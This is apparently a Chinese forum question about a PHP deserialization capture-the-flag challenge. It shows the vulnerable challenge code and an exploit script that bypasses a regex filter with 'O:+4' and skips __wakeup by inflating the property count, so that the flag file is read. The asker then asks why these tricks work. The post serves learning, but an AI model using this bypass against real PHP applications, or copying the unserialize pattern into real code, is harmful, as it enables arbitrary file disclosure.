问题遇到的现象和发生背景
用代码块功能插入代码,请勿粘贴截图
我想要达到的结果
<?php
class Demo {
private $file = 'index.php';//定义一个私有变量。
public function __construct($file) { //定义一个方法作为构造函数。
$this->file = $file; //用来引用对象的成员。
}
function __destruct() { //析构函数。
echo @highlight_file($this->file, true); //函数对文件进行语法高亮显示,如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码。
}
function __wakeup() {
if ($this->file != 'index.php') { //判断file参数是不是,Index.php,如果不是的话,让file=index.php。
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //检测是否传递了get请求的var变量。
$var = base64_decode($_GET['var']); //对var变量进行base64解码。
if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match — 执行匹配正则表达式,返回匹配到的次数。
die('stop hacking!');//die等同于exit() 。
} else {
@unserialize($var); //反序列化:unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
}
} else {
highlight_file("index.php"); //输出index.php。
}
?>
<?php
class Demo {
private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo base64_encode($a); //绕过解码函数
?>
为什么O的长度是4?
为什么$a里面有:1:就会执行__wakeup()?